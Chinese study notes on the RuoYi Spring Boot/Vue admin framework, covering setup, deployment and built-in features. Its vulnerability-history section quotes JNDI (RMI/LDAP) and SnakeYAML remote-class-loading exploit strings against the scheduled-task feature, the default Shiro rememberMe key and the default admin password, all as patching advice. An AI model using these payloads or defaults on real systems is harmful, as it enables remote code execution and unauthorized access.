若依系统学习笔记一
若依-Ruo Yi(分离版)
一、了解框架
1、简介(什么是若依)
RuoYi 是一款基于SpringBoot + Bootstrap 的快速开发框架。
-
RuoYi 官网地址:http://ruoyi.vip(opens new window)
-
RuoYi 在线文档:http://doc.ruoyi.vip(opens new window)
-
RuoYi 源码下载:https://gitee.com/y_project/RuoYi(opens new window)
RuoYi 是一个 Java EE 企业级快速开发平台,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),内置模块如:部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置;支持集群,支持多数据源,支持分布式事务。
2、主要特点
- 完全响应式布局(支持电脑、平板、手机等所有主流设备)
- 强大的一键生成功能(包括控制器、模型、视图、菜单等)
- 支持多数据源,简单配置即可实现切换。
- 支持按钮及数据权限,可自定义部门数据权限。
- 对常用js插件进行二次封装,使js代码变得简洁,更加易维护
- 完善的XSS防范及脚本过滤,彻底杜绝XSS攻击
- Maven多项目依赖,模块及插件分项目,尽量松耦合,方便模块升级、增减模块。
- 国际化支持,服务端及客户端支持
- 完善的日志记录体系简单注解即可实现
- 支持服务监控,数据监控,缓存监控功能。
3、所用技术
3.1、系统环境
- Java EE 8
- Servlet 3.0
- Apache Maven 3
3.2、主框架
- Spring Boot 2.2.x
- Spring Framework 5.2.x
- Apache Shiro 1.7
3.3、持久层
- Apache MyBatis 3.5.x
- Hibernate Validation 6.0.x
- Alibaba Druid 1.2.x
3.4、视图层
- Bootstrap 3.3.7
- Thymeleaf 3.0.x
4、历史漏洞
- 存在系统安全漏洞
RuoYi <= v4.7.1
在<= thymeleaf-spring5:3.0.12
组件中,thymeleaf
结合模板注入中的特定场景可能会导致远程代码执行。详细描述参见 https://github.com/thymeleaf/thymeleaf-spring/issues/256(opens new window)
添加代码到pom.xml
依赖升级处理,防止远程代码执行漏洞。
在<= log4j2:2.17.0
组件中,log4j2
存在远程代码执行和不受控制的递归漏洞。详细描述参见 https://gitee.com/y_project/RuoYi/issues/I4LW93(opens new window)
添加代码到pom.xml
依赖升级处理,防止远程代码执行和不受控制的递归漏洞。
在用户管理页面,导入用户xlsx
数据内容存在被XSS
注入的风险,需要在提交时进行数据内容校验。完整代码提交。自定义xss校验注解实现,防止用户导入Xss风险漏洞(opens new window)
找到SysUser.java
类,然后实体类新增@Xss
注解进行校验(关键代码)
找到SysUserServiceImpl.java
类,然后修改导入用户数据方法,增加实体类校验(关键代码)
在代码生成页面,创建表功能存在SQL
注入漏洞风险(这个功能只有admin用户才能操作),可以在创建表时填入一些SQL注入代码,需要在创建前进行语法校验。完整代码提交。代码生成创建表检查关键字,防止注入风险(opens new window)
找到GenController.java
类,然后修改创建表方法。增加SQL
关键字校验(关键代码)
解决方案:上述漏洞可以升级RuoYi
版本到4.7.2
,或按示例进行操作,防止出现系统安全漏洞。
- 存在远程执行漏洞
RuoYi <= v4.6.2
漏洞详细:
定时任务存在反序列化漏洞利用点,可以通过发送rmi
、http
、ldap
请求,完成命令执行攻击。
如目标字符串具体内容rmi
:org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')
如目标字符串具体内容ldap(s)
:javax.naming.InitialContext.lookup('ldap://127.0.0.1:9999/#Exploit')
如目标字符串具体内容http(s)
:org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/poc/yaml-payload.jar"]]]]')
新增/修改定时任务SysJobController.java
示例代码(屏蔽rmi
、ldap
、http(s)
目标字符串)
解决方案:升级RuoYi
版本到 > 4.6.2
,或者添加示例代码处理,防止注入漏洞。
- 存在SQL注入漏洞
RuoYi <= v4.6.1
Mybatis
配置中使用了$
所以会存在sql
注入漏洞。
漏洞详细:
1、SysDeptMapper.xml
中的updateParentDeptStatus
节点使用了${ancestors}
,修改相关逻辑。转成数组方式修改部门状态。
2、数据权限相关使用了${params.dataScope}
,DataScopeAspect.java
数据过滤处理时添加clearDataScope
拼接权限sql
前先清空params.dataScope
参数防止注入。
解决方案:升级RuoYi
版本到 >=4.6.2
,或者添加示例代码处理,防止注入漏洞。
- 任意文件下载漏洞
RuoYi <= v4.5.0
任意文件下载漏洞,正常的利用手段是下载服务器文件,如脚本代码,服务器配置或者是系统配置等等。可以利用../
来逐层猜测路径。
网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。
检测漏洞:CommonController.java
,/common/download/resource
接口是否包含checkAllowDownload
用于检查文件是否可下载,如果没有此方法则需要修改,防止被下载关键信息。
解决方案:升级RuoYi
版本到 >=4.5.1
,或者重新添加文件下载检查,防止任意文件下载。
- Spring Framework反射型文件下载漏洞
RuoYi < v4.5.0
VMware Tanzu发布安全公告,在Spring Framework版本5.2.0-5.2.8、5.1.0-5.1.17、5.0.0-5.0.18、4.3.0-4.3.28和较旧的不受支持的版本中,公布了一个存在于Spring Framework中的反射型文件下载(Reflected File Download,RFD)漏洞(CVE-2020-5421)。
CVE-2020-5421漏洞可通过jsessionid路径参数,绕过防御RFD攻击的保护。攻击者通过向用户发送带有批处理脚本扩展名的URL,使用户下载并执行文件,从而危害系统。VMware Tanzu官方已发布修复漏洞的新版本。
解决方案:升级spring-boot-starter
版本到 >=2.1.17
。
- Shiro阻止权限绕过漏洞
RuoYi < v4.4.0
Shiro < 1.6.0 版本存在一处权限绕过漏洞,由于 shiro
在处理 url
时与 spring
存在差异,处理身份验证请求时出错导致依然存在身份校验绕过漏洞,远程攻击者可以发送特制的 HTTP 请求,绕过身份验证过程并获得对应用程序的未授权访问。
检测漏洞:pom.xml
Shiro < 1.6.0
则版本存在漏洞。
解决方案:升级版本到 >=1.6.0
。
- 命令执行漏洞
RuoYi <= v4.3.0
若依管理系统使用了Apache Shiro,Shiro 提供了记住我(RememberMe)的功能,下次访问时无需再登录即可访问。系统将密钥硬编码在代码里,且在官方文档中并没有强调修改该密钥,导致框架使用者大多数都使用了默认密钥。攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞,进而在目标机器上执行任意命令。
检测漏洞:ShiroConfig.java
是否包含 fCq+/xW488hMTCD+cmJ3aQ==
,如果是使用的默认密钥则需要修改,防止被执行命令攻击。
解决方案:升级版本到 >=v.4.3.1
,并且重新生成一个新的秘钥替换cipherKey
,保证唯一且不要泄漏。
- SQL注入攻击
RuoYi <= v3.2.0
若依管理系统使用了PageHelper,PageHelper提供了排序(Order by)的功能,前端直接传参完成排序。系统没有做字符检查,导致存在被注入的风险,最终造成数据库中存储的隐私信息全部泄漏。
检测漏洞:BaseController.java
是否包含 String orderBy = pageDomain.getOrderBy();
,如果没有字符检查需要修改,防止被执行注入攻击。
解决方案:升级版本到 >=v.3.2.0
,或者重新添加字符检查String orderBy = SqlUtil.escapeOrderBySql(pageDomain.getOrderBy());
,防止注入绕过。
- Shiro阻止权限绕过漏洞
RuoYi <= v4.3.0
Shiro < 1.5.2 版本存在一处权限绕过漏洞,当受影响版本的Shiro框架结合Spring dynamic controllers使用时,未经授权的远程攻击者可以通过精心构造的请求包进行权限绕过,可能造成鉴权系统失效以及后台功能暴露。
检测漏洞:pom.xml
Shiro <=1.5.2
则版本存在漏洞。
解决方案:升级版本到 >=1.5.3
。
- Fastjson高危漏洞
RuoYi <= v4.2.0
Fastjson < 1.2.68 版本存在一处反序列化漏洞,主要为autoType开关绕过的反序列化漏洞利用,恶意攻击者可以通过该漏洞绕过autoType限制实现远程代码执行攻击,从而获取目标系统管理权限,建议尽快更新漏洞修复版本或采用临时缓解措施加固系统。
检测漏洞:pom.xml
Fastjson <=1.2.68
则版本存在漏洞。
解决方案:升级版本到 >=1.2.70
。
注意
若依平台的默认口令 admin/admin123,请大家在线上环境一定要修改超级管理员的密码。SysPasswordService.encryptPassword(String username, String password, String salt)
直接到main运行此方法,填充账号密码及盐(保证唯一),生成md5加密字符串。
二、环境部署
1、准备工作
小提示:
前端安装 完node后,最好设置一下淘宝的镜像源,不建议使用cnpm进行安装(可能会出现许多奇奇怪怪的问题);
2、后端运行
2.1、先去gitee下载运行代码:https://gitee.com/y_project/RuoYi-Vue
2.2、解压下载的 文件,把文件中文件名为 ruoyi-ui(这个文件是前端文件夹) 的文件单独剪切出来,然后用 idea 打开剩下的文件idea 会自动加载Maven依赖包,
2.3、创建数据库ry
并导入数据脚本ry_2021xxxx.sql
,quartz.sql
(脚本在sql文件夹中)
2.4、修改yml文件 application9-druid.yml 链接数据库库名,用户名和密码;
注:修改的配置文件夹在ruoyi-admin模块中
3、配置文件(这里是我自己的配置文件)
3.1、通用配置 application.yml
3.2、数据源配置 application-druid.yml
2.5、启动 redis(redis-server.exe)
2.6、打开项目运行com.ruoyi.RuoYiApplication.java
,出现如下图表示启动成功。
小提示:
4、前端运行
4、打开浏览器,输入:(http://localhost:80 (opens new window)) 默认账户/密码 admin/admin123
)
若能正确展示登录页面,并能成功登录,菜单及页面展示正常,则表明环境搭建成功
建议使用Git
克隆,因为克隆的方式可以和RuoYi
随时保持更新同步。使用Git
命令克隆
小提示:
三、部署系统
小提示:
.1、后端部署
- 打包工程文件
小提示:
- 部署工程文件
1、jar部署方式
2、war部署方式
小提示:
多模块版本在ruoyi/ruoyi-admin
模块下修改pom.xml
SpringBoot
去除内嵌Tomcat
(PS:此步骤不重要,因为不排除也能在容器中部署war
)
.2、前端部署
当项目开发完毕,只需要运行一行命令就可以打包你的应用
构建打包成功之后,会在根目录生成 dist
文件夹,里面就是构建打包好的文件,通常是 ***.js
、***.css
、index.html
等静态文件。
通常情况下 dist
文件夹的静态文件发布到你的 nginx 或者静态服务器即可,其中的 index.html
是后台服务的入口页面。
outputDir 提示
如果需要自定义构建,比如指定 dist
目录等,则需要通过 config (opens new window)的 outputDir
进行配置。
publicPath 提示
部署时改变页面js 和 css 静态引入路径 ,只需修改 vue.config.js
文件资源路径即可。
四、环境变量
所有测试环境或者正式环境变量的配置都在 .env.development (opens new window)等 .env.xxxx
文件中。
它们都会通过 webpack.DefinePlugin
插件注入到全局。
环境变量必须以VUE_APP_
为开头。如:VUE_APP_API
、VUE_APP_TITLE
你在代码中可以通过如下方式获取:
扩展阅读:《Vue CLI - 环境变量和模式》
.1、Tomcat配置
修改server.xml
,Host
节点下添加
dist
目录的文件夹下新建WEB-INF
文件夹,并在里面添加web.xml
文件
.2、Nginx配置
建议开启Gzip压缩
在http
配置中加入如下代码对全局的资源进行压缩,可以减少文件体积和加快网页访问速度。
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
同时建议开启解压缩静态文件 如何使用Gzip解压缩静态文件
.3、常见问题
- 如果使用
Mac
需要修改application.yml
文件路径profile
- 如果使用
Linux
提示表不存在,设置大小写敏感配置在/etc/my.cnf
添加lower_case_table_names=1
,重启MYSQL服务 - 如果提示当前权限不足,无法写入文件请检查
application.yml
中的profile
路径或logback.xml
中的log.path
路径是否有可读可写操作权限
如遇到无法解决的问题请到Issues (opens new window)反馈,会不定时进行解答。
五、项目介绍
后端结构
前端结构
配置文件
通用配置 application.yml
数据源配置 application-druid.yml
代码生成配置 generator.yml
核心技术
TIP
- 前端技术栈 ES6、vue、vuex、vue-router、vue-cli、axios、element-ui
- 后端技术栈 SpringBoot、MyBatis、Spring Security、Jwt
后端技术
SpringBoot框架
1、介绍Spring Boot
是一款开箱即用框架,提供各种默认配置来简化项目配置。让我们的Spring
应用变的更轻量化、更快的入门。 在主程序执行main
函数就可以运行。你也可以打包你的应用为jar
并通过使用java -jar
来运行你的Web应用。它遵循"约定优先于配置"的原则, 使用SpringBoot
只需很少的配置,大部分的时候直接使用默认的配置即可。同时可以与Spring Cloud
的微服务无缝结合。
提示
Spring Boot2.x
版本环境要求必须是jdk8
或以上版本,服务器Tomcat8
或以上版本
2、优点
- 使编码变得简单: 推荐使用注解。
- 使配置变得简单: 自动配置、快速集成新技术能力 没有冗余代码生成和XML配置的要求
- 使部署变得简单: 内嵌Tomcat、Jetty、Undertow等web容器,无需以war包形式部署
- 使监控变得简单: 提供运行时的应用监控
- 使集成变得简单: 对主流开发框架的无配置集成。
- 使开发变得简单: 极大地提高了开发快速构建项目、部署效率。
Spring Security安全控制
1、介绍Spring Security
是一个能够为基于Spring
的企业应用系统提供声明式的安全访问控制解决方案的安全框架。
2、功能Authentication
认证,就是用户登录Authorization
授权,判断用户拥有什么权限,可以访问什么资源
安全防护,跨站脚本攻击,session
攻击等
非常容易结合Spring
进行使用
3、Spring Security
与Shiro
的区别
相同点
1、认证功能
2、授权功能
3、加密功能
4、会话管理
5、缓存支持
6、rememberMe功能
....
不同点
优点:
1、Spring Security基于Spring开发,项目如果使用Spring作为基础,配合Spring Security做权限更加方便。而Shiro需要和Spring进行整合开发
2、Spring Security功能比Shiro更加丰富,例如安全防护方面
3、Spring Security社区资源相对比Shiro更加丰富
缺点:
1)Shiro的配置和使用比较简单,Spring Security上手复杂些
2)Shiro依赖性低,不需要依赖任何框架和容器,可以独立运行。Spring Security依赖Spring容器
前端技术
- npm:node.js的包管理工具,用于统一管理我们前端项目中需要用到的包、插件、工具、命令等,便于开发和维护。
- ES6:Javascript的新版本,ECMAScript6的简称。利用ES6我们可以简化我们的JS代码,同时利用其提供的强大功能来快速实现JS逻辑。
- vue-cli:Vue的脚手架工具,用于自动生成Vue项目的目录及文件。
- vue-router: Vue提供的前端路由工具,利用其我们实现页面的路由控制,局部刷新及按需加载,构建单页应用,实现前后端分离。
- vuex:Vue提供的状态管理工具,用于统一管理我们项目中各种数据的交互和重用,存储我们需要用到数据对象。
- element-ui:基于MVVM框架Vue开源出来的一套前端ui组件。
六、后台手册
.1、分页实现
- 前端基于
element
封装的分页组件 pagination(opens new window) - 后端基于
mybatis
的轻量级分页插件pageHelper(opens new window)
.2、前端调用实现
1、前端定义分页流程
.3、后台逻辑实现
- 常见坑点1:
selectPostById
莫名其妙的分页。例如下面这段代码
原因分析:这种情况下由于user
存在null
的情况,就会导致pageHelper
生产了一个分页参数,但是没有被消费,这个参数就会一直保留在这个线程上。 当这个线程再次被使用时,就可能导致不该分页的方法去消费这个分页参数,这就产生了莫名其妙的分页。
上面这个代码,应该写成下面这个样子才能保证安全。
- 常见坑点2:添加了
startPage
方法。也没有正常分页。例如下面这段代码
原因分析:只对该语句以后的第一个查询(Select)
语句得到的数据进行分页。
上面这个代码,应该写成下面这个样子才能正常分页。
注意
七、导入导出
在实际开发中经常需要使用导入导出功能来加快数据的操作。在项目中可以使用注解来完成此项功能。 在需要被导入导出的实体类属性添加@Excel
注解,目前支持参数如下:
.1、注解参数说明
参数 | 类型 | 默认值 | 描述 |
---|---|---|---|
sort | int | Integer.MAX_VALUE | 导出时在excel中排序,值越小越靠前 |
name | String | 空 | 导出到Excel中的名字 |
dateFormat | String | 空 | 日期格式, 如: yyyy-MM-dd |
dictType | String | 空 | 如果是字典类型,请设置字典的type值 (如: sys_user_sex) |
readConverterExp | String | 空 | 读取内容转表达式 (如: 0=男,1=女,2=未知) |
separator | String | , | 分隔符,读取字符串组内容 |
scale | int | -1 | BigDecimal 精度 默认:-1(默认不开启BigDecimal格式化) |
roundingMode | int | BigDecimal.ROUND_HALF_EVEN | BigDecimal 舍入规则 默认:BigDecimal.ROUND_HALF_EVEN |
columnType | Enum | Type.STRING | 导出类型(0数字 1字符串 2图片) |
height | String | 14 | 导出时在excel中每个列的高度 单位为字符 |
width | String | 16 | 导出时在excel中每个列的宽 单位为字符 |
suffix | String | 空 | 文字后缀,如% 90 变成90% |
defaultValue | String | 空 | 当值为空时,字段的默认值 |
prompt | String | 空 | 提示信息 |
combo | String | Null | 设置只能选择不能输入的列内容 |
targetAttr | String | 空 | 另一个类中的属性名称,支持多级获取,以小数点隔开 |
isStatistics | boolean | false | 是否自动统计数据,在最后追加一行统计数据总和 |
type | Enum | Type.ALL | 字段类型(0:导出导入;1:仅导出;2:仅导入) |
align | Enum | Type.AUTO | 导出字段对齐方式(0:默认;1:靠左;2:居中;3:靠右) |
handler | Class | ExcelHandlerAdapter.class | 自定义数据处理器 |
args | String[] | {} | 自定义数据处理器参数 |
.2、导出实现流程
1、前端调用方法(参考如下)
2、添加导出按钮事件
3、在实体变量上添加@Excel注解
4、在Controller添加导出方法
.3、导入实现流程
1、前端调用方法(参考如下)
2、添加导入按钮事件
3、添加导入前端代码
4、在实体变量上添加@Excel注解,默认为导出导入,也可以单独设置仅导入Type.IMPORT
5、在Controller添加导入方法,updateSupport属性为是否存在则覆盖(可选)
小提示:
.4、自定义标题信息
有时候我们希望导出表格包含标题信息,我们可以这样做。
导出用户管理表格新增标题(用户列表)
导入表格包含标题处理方式,其中1
表示标题占用行数,根据实际情况填写。
.5、自定义数据处理器
有时候我们希望数据展现为一个特殊的格式,或者需要对数据进行其它处理。Excel
注解提供了自定义数据处理器以满足各种业务场景。而实现一个数据处理器也是非常简单的。如下:
1、在实体类用Excel
注解handler
属性指定自定义的数据处理器
2、编写数据处理器MyDataHandler
继承ExcelHandlerAdapter
,返回值为处理后的值。
八、上传下载
首先创建一张上传文件的表,例如:
.1、上传实现流程
1、el-input
修改成el-upload
2、引入获取token
3、data
中添加属性
4、新增和修改操作对应处理fileList
参数
5、添加对应事件
.2、下载实现流程
1、添加对应按钮和事件
2、实现文件下载
九、权限注解
- 数据权限示例。
- 角色权限示例。
十、事务管理
新建的Spring Boot
项目中,一般都会引用spring-boot-starter
或者spring-boot-starter-web
,而这两个起步依赖中都已经包含了对于spring-boot-starter-jdbc
或spring-boot-starter-data-jpa
的依赖。 当我们使用了这两个依赖的时候,框架会自动默认分别注入DataSourceTransactionManager
或JpaTransactionManager
。 所以我们不需要任何额外配置就可以用@Transactional
注解进行事务的使用。
提示
@Transactional注解只能应用到public可见度的方法上,可以被应用于接口定义和接口方法,方法会覆盖类上面声明的事务。
例如用户新增需要插入用户表、用户与岗位关联表、用户与角色关联表,如果插入成功,那么一起成功,如果中间有一条出现异常,那么回滚之前的所有操作, 这样可以防止出现脏数据,就可以使用事务让它实现回退。
做法非常简单,我们只需要在方法或类添加@Transactional
注解即可。
- 常见坑点1:遇到检查异常时,事务开启,也无法回滚。 例如下面这段代码,用户依旧增加成功,并没有因为后面遇到检查异常而回滚!!
原因分析:因为Spring
的默认的事务规则是遇到运行异常(RuntimeException)
和程序错误(Error)
才会回滚。如果想针对检查异常进行事务回滚,可以在@Transactional
注解里使用 rollbackFor
属性明确指定异常。
例如下面这样,就可以正常回滚:
- 常见坑点2: 在业务层捕捉异常后,发现事务不生效。 这是许多新手都会犯的一个错误,在业务层手工捕捉并处理了异常,你都把异常“吃”掉了,
Spring
自然不知道这里有错,更不会主动去回滚数据。
例如:下面这段代码直接导致用户新增的事务回滚没有生效。
推荐做法:在业务层统一抛出异常,然后在控制层统一处理。
Transactional
注解的常用属性表:
属性 | 说明 |
---|---|
propagation | 事务的传播行为,默认值为 REQUIRED。 |
isolation | 事务的隔离度,默认值采用 DEFAULT |
timeout | 事务的超时时间,默认值为-1,不超时。如果设置了超时时间(单位秒),那么如果超过该时间限制了但事务还没有完成,则自动回滚事务。 |
read-only | 指定事务是否为只读事务,默认值为 false;为了忽略那些不需要事务的方法,比如读取数据,可以设置 read-only 为 true。 |
rollbackFor | 用于指定能够触发事务回滚的异常类型,如果有多个异常类型需要指定,各类型之间可以通过逗号分隔。{xxx1.class, xxx2.class,……} |
noRollbackFor | 抛出 no-rollback-for 指定的异常类型,不回滚事务。{xxx1.class, xxx2.class,……} |
.... |
提示
事务的传播机制是指如果在开始当前事务之前,一个事务上下文已经存在,此时有若干选项可以指定一个事务性方法的执行行为。 即:在执行一个@Transactinal注解标注的方法时,开启了事务;当该方法还在执行中时,另一个人也触发了该方法;那么此时怎么算事务呢,这时就可以通过事务的传播机制来指定处理方式。
TransactionDefinition
传播行为的常量:
常量 | 含义 |
---|---|
TransactionDefinition.PROPAGATION_REQUIRED | 如果当前存在事务,则加入该事务;如果当前没有事务,则创建一个新的事务。这是默认值。 |
TransactionDefinition.PROPAGATION_REQUIRES_NEW | 创建一个新的事务,如果当前存在事务,则把当前事务挂起。 |
TransactionDefinition.PROPAGATION_SUPPORTS | 如果当前存在事务,则加入该事务;如果当前没有事务,则以非事务的方式继续运行。 |
TransactionDefinition.PROPAGATION_NOT_SUPPORTED | 以非事务方式运行,如果当前存在事务,则把当前事务挂起。 |
TransactionDefinition.PROPAGATION_NEVER | 以非事务方式运行,如果当前存在事务,则抛出异常。 |
TransactionDefinition.PROPAGATION_MANDATORY | 如果当前存在事务,则加入该事务;如果当前没有事务,则抛出异常。 |
TransactionDefinition.PROPAGATION_NESTED | 如果当前存在事务,则创建一个事务作为当前事务的嵌套事务来运行;如果当前没有事务,则该取值等价于TransactionDefinition.PROPAGATION_REQUIRED。 |
十一、异常处理
通常一个web
框架中,有大量需要处理的异常。比如业务异常,权限不足等等。前端通过弹出提示信息的方式告诉用户出了什么错误。 通常情况下我们用try.....catch....
对异常进行捕捉处理,但是在实际项目中对业务模块进行异常捕捉,会造成代码重复和繁杂, 我们希望代码中只有业务相关的操作,所有的异常我们单独设立一个类来处理它。全局异常就是对框架所有异常进行统一管理。 我们在可能发生异常的方法里throw
抛给控制器。然后由全局异常处理器对异常进行统一处理。 如此,我们的Controller
中的方法就可以很简洁了。
所谓全局异常处理器就是使用@ControllerAdvice
注解。示例如下:
1、统一返回实体定义
2、定义登录异常定义
3、基于@ControllerAdvice
注解的Controller
层的全局异常统一处理
4、测试访问请求
根据上面代码含义,当我们未登录访问/index
时就会发生LoginException
业务逻辑异常,按照我们之前的全局异常配置以及统一返回实体实例化,访问后会出现AjaxResult
格式JSON
数据, 下面我们运行项目访问查看效果。
界面输出内容如下所示:
对于一些特殊情况,如接口需要返回json
,页面请求返回html
可以使用如下方法:
若依系统的全局异常处理器GlobalExceptionHandler
注意:如果全部异常处理返回json
,那么可以使用@RestControllerAdvice
代替@ControllerAdvice
,这样在方法上就可以不需要添加@ResponseBody
。
无法捕获异常?
如果您的异常无法捕获,您可以从以下几个方面着手检查
异常是否已被处理,即抛出异常后被catch,打印了日志或抛出了其它异常 异常是否非Controller抛出,即在拦截器或过滤器中出现的异常
十二、参数验证
spring boot
中可以用@Validated
来校验数据,如果数据异常则会统一抛出异常,方便异常中心统一处理。
1、注解参数说明
注解名称 | 功能 |
---|---|
@Xss | 检查该字段是否存在跨站脚本工具 |
@Null | 检查该字段为空 |
@NotNull | 不能为null |
@NotBlank | 不能为空,常用于检查空字符串 |
@NotEmpty | 不能为空,多用于检测list是否size是0 |
@Max | 该字段的值只能小于或等于该值 |
@Min | 该字段的值只能大于或等于该值 |
@Past | 检查该字段的日期是在过去 |
@Future | 检查该字段的日期是否是属于将来的日期 |
检查是否是一个有效的email地址 | |
@Pattern(regex=,flag=) | 被注释的元素必须符合指定的正则表达式 |
@Range(min=,max=,message=) | 被注释的元素必须在合适的范围内 |
@Size(min=, max=) | 检查该字段的size是否在min和max之间,可以是字符串、数组、集合、Map等 |
@Length(min=,max=) | 检查所属的字段的长度是否在min和max之间,只能用于字符串 |
@AssertTrue | 用于boolean字段,该字段只能为true |
@AssertFalse | 该字段的值只能为false |
2、数据校验使用
1、基础使用 因为spring boot
已经引入了基础包,所以直接使用就可以了。首先在controller
上声明@Validated
需要对数据进行校验。
2、然后在对应字段Get方法
加上参数校验注解,如果不符合验证要求,则会以message
的信息为准,返回给前端。
也可以直接放在字段上面声明。
3、自定义注解校验
使用原生的@Validated
进行参数校验时,都是特定的注解去校验(例如字段长度、大小、不为空等),我们也可以用自定义的注解去进行校验,例如项目中的@Xss
注解。
1、新增Xss
注解,设置自定义校验器XssValidator.class
2、自定义Xss
校验器,实现ConstraintValidator
接口。
3、实体类使用自定义的@Xss
注解
此时在去保存会进行验证,如果不符合规则的字符(例如<script>alert(1);</script>
)会提示登录账号不能包含脚本字符
,代表限制成功。
如果是在方法里面校验整个实体,参考示例。
4、自定义分组校验
有时候我们为了在使用实体类的情况下更好的区分出新增、修改和其他操作验证的不同,可以通过groups
属性设置。使用方式如下
新增类接口,用于标识出不同的操作类型
Controller.java
Model.java
提示
如果你有更多操作类型,也可以自定义类统一管理,使用方式就变成了Type.Add
、Type.Edit
、Type.Xxxx
等。
十三、系统日志
在实际开发中,对于某些关键业务,我们通常需要记录该操作的内容,一个操作调一次记录方法,每次还得去收集参数等等,会造成大量代码重复。 我们希望代码中只有业务相关的操作,在项目中使用注解来完成此项功能。
在需要被记录日志的controller
方法上添加@Log
注解,使用方法如下:
1、注解参数说明
参数 | 类型 | 默认值 | 描述 |
---|---|---|---|
title | String | 空 | 操作模块 |
businessType | BusinessType | OTHER | 操作功能(OTHER 其他、INSERT 新增、UPDATE 修改、DELETE 删除、GRANT 授权、EXPORT 导出、IMPORT 导入、FORCE 强退、GENCODE 生成代码、CLEAN 清空数据) |
operatorType | OperatorType | MANAGE | 操作人类别(OTHER 其他、MANAGE 后台用户、MOBILE 手机端用户) |
isSaveRequestData | boolean | true | 是否保存请求的参数 |
isSaveResponseData | boolean | true | 是否保存响应的参数 |
2、自定义操作功能
1、在BusinessType
中新增业务操作类型如:
2、在sys_dict_data
字典数据表中初始化操作业务类型
3、在Controller
中使用注解
操作日志记录逻辑实现代码LogAspect.java(opens new window)
登录系统(系统管理-操作日志)可以查询操作日志列表和详细信息。
十四、数据权限
在实际开发中,需要设置用户只能查看哪些部门的数据,这种情况一般称为数据权限。
例如对于销售,财务的数据,它们是非常敏感的,因此要求对数据权限进行控制, 对于基于集团性的应用系统而言,就更多需要控制好各自公司的数据了。如设置只能看本公司、或者本部门的数据,对于特殊的领导,可能需要跨部门的数据, 因此程序不能硬编码那个领导该访问哪些数据,需要进行后台的权限和数据权限的控制。
提示
默认系统管理员admin
拥有所有数据权限(userId=1)
,默认角色拥有所有数据权限(如不需要数据权限不用设置数据权限操作)
1、注解参数说明
参数 | 类型 | 默认值 | 描述 |
---|---|---|---|
deptAlias | String | 空 | 部门表的别名 |
userAlias | String | 空 | 用户表的别名 |
2、数据权限使用
1、在(系统管理-角色管理)设置需要数据权限的角色 目前支持以下几种权限
- 全部数据权限
- 自定数据权限
- 部门数据权限
- 部门及以下数据权限
- 仅本人数据权限
2、在需要数据权限控制方法上添加@DataScope
注解,其中d
和u
用来表示表的别名
部门数据权限注解
部门及用户权限注解
3、在mybatis
查询底部标签添加数据范围过滤
例如:用户管理(未过滤数据权限的情况):
例如:用户管理(已过滤数据权限的情况):
结果很明显,我们多了如下语句。通过角色部门表(sys_role_dept)
完成了数据权限过滤
逻辑实现代码 com.ruoyi.framework.aspectj.DataScopeAspect
提示
仅实体继承BaseEntity
才会进行处理,SQL
语句会存放到BaseEntity
对象中的params
属性中,然后在xml
中通过${params.dataScope}
获取拼接后的语句。
十五、多数据源
在实际开发中,经常可能遇到在一个应用中可能需要访问多个数据库的情况,在项目中使用注解来完成此项功能。
在需要被切换数据源的Service
或Mapper
方法上添加@DataSource
注解,使用方法如下:
其中value
用来表示数据源名称,除MASTER
和SLAVE
其他均需要进行配置。
1、注解参数说明
参数 | 类型 | 默认值 | 描述 |
---|---|---|---|
value | DataSourceType | DataSourceType.MASTER | 主库 |
2、多数据源使用
1、在application-druid.yml
配置从库数据源
2、在DataSourceType
类添加数据源枚举
3、在DruidConfig
配置读取数据源
4、在DruidConfig
类dataSource
方法添加数据源
5、在需要使用多数据源方法或类上添加@DataSource
注解,其中value
用来表示数据源
3、手动切换数据源
在需要切换数据源的方法中使用DynamicDataSourceContextHolder
类实现手动切换,使用方法如下:
逻辑实现代码 com.ruoyi.framework.aspectj.DataSourceAspect
提示
如果有Service
方法内多个注解无效的情况使用内部方法调用SpringUtils.getAopProxy(this).xxxxxx(xxxx)
;
十六、代码生成
大部分项目里其实有很多代码都是重复的,几乎每个基础模块的代码都有增删改查的功能,而这些功能都是大同小异, 如果这些功能都要自己去写,将会大大浪费我们的精力降低效率。所以这种重复性的代码可以使用代码生成。
1、默认配置
单应用在resources
目录下的application.yml
,多模块ruoyi-generator
中的resources
目录下的generator.yml
,可以自己根据实际情况调整默认配置。
2、单表结构
新建数据库表结构(单表)
3、树表结构
新建数据库表结构(树表)
4、主子表结构
新建数据库表结构(主子表)
5、代码生成使用
1、登录系统(系统工具 -> 代码生成 -> 导入对应表)
2、代码生成列表中找到需要表(可预览、编辑、同步、删除生成配置)
3、点击生成代码会得到一个ruoyi.zip
执行sql
文件,按照包内目录结构复制到自己的项目中即可
代码生成支持编辑、预览、同步
预览:对生成的代码提前预览,防止出现一些不符合预期的情况。
同步:对原表的字段进行同步,包括新增、删除、修改的字段处理。
修改:对生成的代码基本信息、字段信息、生成信息做一系列的调整。
另外多模块所有代码生成的相关业务逻辑代码在ruoyi-generator
模块,不需要可以自行删除模块。
十七、定时任务
在实际项目开发中Web应用有一类不可缺少的,那就是定时任务。 定时任务的场景可以说非常广泛,比如某些视频网站,购买会员后,每天会给会员送成长值,每月会给会员送一些电影券; 比如在保证最终一致性的场景中,往往利用定时任务调度进行一些比对工作;比如一些定时需要生成的报表、邮件;比如一些需要定时清理数据的任务等。 所以我们提供方便友好的web界面,实现动态管理任务,可以达到动态控制定时任务启动、暂停、重启、删除、添加、修改等操作,极大地方便了开发过程。
提示
关于定时任务使用流程
1、后台添加定时任务处理类(支持Bean
调用、Class
类调用)Bean
调用示例:需要添加对应Bean
注解@Component
或@Service
。调用目标字符串:ryTask.ryParams('ry')
Class
类调用示例:添加类和方法指定包即可。调用目标字符串:com.ruoyi.quartz.task.RyTask.ryParams('ry')
2、前端新建定时任务信息(系统监控 -> 定时任务)
